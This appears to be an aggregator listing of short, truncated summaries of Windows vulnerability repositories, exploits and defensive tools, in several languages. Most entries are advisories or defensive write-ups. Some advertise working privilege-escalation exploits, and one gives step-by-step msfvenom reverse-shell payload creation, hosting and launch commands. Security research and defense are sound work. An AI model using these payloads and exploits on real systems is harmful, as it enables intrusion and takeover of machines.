CVE-2025-33073

CVE-2025-33073 — Повышение привилегий через NTLM-рефлексию в клиенте SMB Windows Исследовательский отчет от Sentinel AI Defense. Только защитный анализ — здесь не публикуется ни рабочий эксплойт, ни PoC. Ошибка неправильного контроля доступа в клиенте SMB Windows, которая возрождает методы...

CVE-2026-16675 Rockwell Automation FactoryTalk® Activation Manager - Privilege Escalation

A privilege escalation security issue exists within FactoryTalk® Activation Manager. The security issue stems from custom actions in the installer that spawn visible console windows running with SYSTEM privileges during installation or repair operations. An authenticated attacker with Windows...

EUVD-2026-69128

A privilege escalation security issue exists within FactoryTalk® Activation Manager. The security issue stems from custom actions in the installer that spawn visible console windows running with SYSTEM privileges during installation or repair operations. An authenticated attacker with Windows...

CVE-2023-21768-DSE-Bypass

Форк Этот проект является форком: WindowsLPEAFDCVE-2023-21768 . Обновления Этот проект обновлён из эксплойта chompie1337 и будет отключать DSE, загружать неподписанный драйвер и включать DSE...

NetScope

NetScope Офлайн-ориентированная платформа для расследования сетевых инцидентов и реагирования для Windows. NetScope — это настольное приложение для аналитиков безопасности, специалистов по реагированию на инциденты и участников CTF-соревнований. Оно принимает файл захвата пакетов .pcap / .pcapng...

cve-2022-3218

Шаг 1 — Создание реального пейлоада Windows msfvenom -p windows/x64/shellreversetcp LHOST=10.8.5.50 LPORT=4444 -f exe -o exploit.exe Шаг 2 — Раздача пейлоада через HTTP В той же директории: python3 -m http.server 80 Шаг 3 — Настройка эксплойта Запускайте так: python3 CVE-2022-3218.py 172.20.7.185...

Qlik Sense Enterprise - Path Traversal

A path traversal vulnerability found in Qlik Sense Enterprise for Windows for versions May 2023 Patch 3 and earlier, February 2023 Patch 7 and earlier, November 2022 Patch 10 and earlier, and August 2022 Patch 12 and earlier allows an unauthenticated remote attacker to generate an anonymous...

Hijack-service-binaries

Hijack-service-binaries Инструмент аудита безопасности на PowerShell, который выявляет исполняемые файлы служб Windows, которые текущий пользователь может изменить, — потенциальный вектор повышения привилегий. Обзор Этот скрипт сканирует все службы Windows кроме system32 и svchost и проверяет,...

CVE-2021-1675

CVE-2021-1675 / CVE-2021-34527 Реализация Impacket для PoC PrintNightmare, изначально созданного Zhiniang Peng @edwardzpeng и Xuefeng Li @lxf02942370 Протестировано на полностью пропатченном контроллере домена 2019 Выполнение вредоносных DLL удаленно или локально Обновление патча Microsoft...

CVE-2024-37726-MSI-Center-Local-Privilege-Escalation

CVE-2024-37726 MSI Center 로컬 권한 상승 - 임의 파일 덮어쓰기 취약점 취약점 요약 Windows OS에서 MSI Center 버전 = 2.0.36.0에 로컬 권한 상승 취약점이 확인되었습니다. 이 취약점으로 인해 낮은 권한의 사용자가 시스템의 높은 권한을 가진 중요 파일을 임의로 덮어쓰거나 삭제할 수 있습니다. 이 취약점은 MSI Center 애플리케이션이 NT AUTHORITY\SYSTEM 권한으로 실행되면서 낮은 권한 사용자가 제어하는 디렉터리에 파일을 쓰기 때문에 발생하며, 낮은 권한의 사용자가 심...

Microsoft-Defender-for-Endpoint-Deployment-on-Windows-10-11-device

이 저장소는 Windows 11 디바이스에 Microsoft Defender for Endpoint를 배포하는 방법을 문서화합니다. 여기에는 로컬 스크립트를 통한 온보딩, 디바이스 검색 활성화, Log4j2 탐지CVE-2021-44228 구성, 그리고 사고 대응 워크플로 검증이 포함됩니다. 주요 기능 ✅ Windows 10/11용 로컬 스크립트 온보딩 🔍 표준 디바이스 검색 설정 🧨 Log4j2 취약점 탐지 📈 경고 검증 및 사고 대응 📋 Defender 도구를 사용한 수정 워크플로 프로젝트 목표 ✔️ Windows 10/11...

RegPwn

RegPwn Эксплойт для поста в блоге - https://www.mdsec.co.uk/2026/03/rip-regpwn/ Код эксплойта для LPE в клиентах и серверах Windows Протестированные версии: Windows 11 25h2 Windows 11 24h2 Windows 10 21h2 Windows Servers 2016/2019/2022 Отслеживается как CVE-2026-24291 Автор : Filip Dragovic...

ms09-050-CVE-2009-3103-exploit

MS09-050 Обёртка эксплойта SMBv2 Настройка одной командой для эксплуатации MS09-050 CVE-2009-3103. Без хлопот, без отладки — просто работает. Зачем? Большинство встречающихся скриптов MS09-050 требуют ручной инъекции шелл-кода, имеют проблемы с таймингами обработчиков или просто не работают. Эта...

7zip-CVE-2025-11001

Использование: root@kitploit: python3 exploit.py -t "C:\Users\pac\Desktop" -o demo.zip --data-file calc.exe Эксплуатация 7-zip Уязвимость эксплуатируется только в Windows и имеет одно важное ограничение. Ошибка может быть использована только при запуске 7-Zip с правами администратора для успешной...

CVE-2025-11001

Использование: root@kitploit: python3 exploit.py -t "C:\Users\pac\Desktop" -o demo.zip --data-file calc.exe Эксплуатация 7-zip Уязвимость может быть использована только в Windows и имеет одно важное ограничение. Ошибка может быть использована только тогда, когда 7-Zip запущен с правами...

CVE-2025-57392

CVE-2025-57392 🔒 Отчет об уязвимости безопасности Продукт: BenimPOS Desktop V3.0 Тип уязвимости: Небезопасные разрешения файлов Затронутые компоненты: BenimPOS.exe, unins000.exe, System.Data.SQLite.dll Класс уязвимости: CWE-276: Неправильные разрешения по умолчанию Доказательство концепции: Fatih...

How-to-Patch-CVE-2025-32709

Как исправить уязвимость CVE-2025-327091 Реальный рабочий процесс исправления для CVE-2025-32709. От установки исправления до проверки оповещений SIEM — этот репозиторий документирует каждый шаг со скриншотами, командами и логикой обнаружения. Скриншот панели обнаружения уязвимостей Wazuh,...

ble_proxy

Система BLE HTTP-прокси Система HTTP-прокси на базе Bluetooth с низким энергопотреблением BLE, которая направляет трафик веб-браузера через устройство iOS. Это позволяет просматривать веб-страницы через интернет-соединение устройства iOS, используя BLE в качестве транспортного уровня. Обзор...

CVE-2020-11107

CVE-2020-11107 Ceci est un compte-rendu pour CVE-2020-11107 que j'ai trouvé. Un problème a été découvert dans XAMPP avant les versions 7.2.29, 7.3.x avant 7.3.16 et 7.4.x avant 7.4.4 sur Windows. Un utilisateur non privilégié peut modifier la configuration d'un .exe dans xampp-contol.ini pour tou...

Recreate-cve-2023-21768

产生原因：对比202209和202307的AFD.sys,在函数AfdNotifyRemoveIOCompletion中，202209版的windows和202307版的windows都有一步用ProbeForWrite函数检测一段内存区域是否在用户态，但是检测的buffer地址有0x8字节的不同，而在该漏洞patch之前，没有该检查，可以猜测202209版的buffer的检查地址可能不太正确而可能无效，而该检查的buffer与中间一步赋值有关：DWORD a3 + 24 = v20;其中应该检查的buffer是a3+24,而v20的值与v8 =...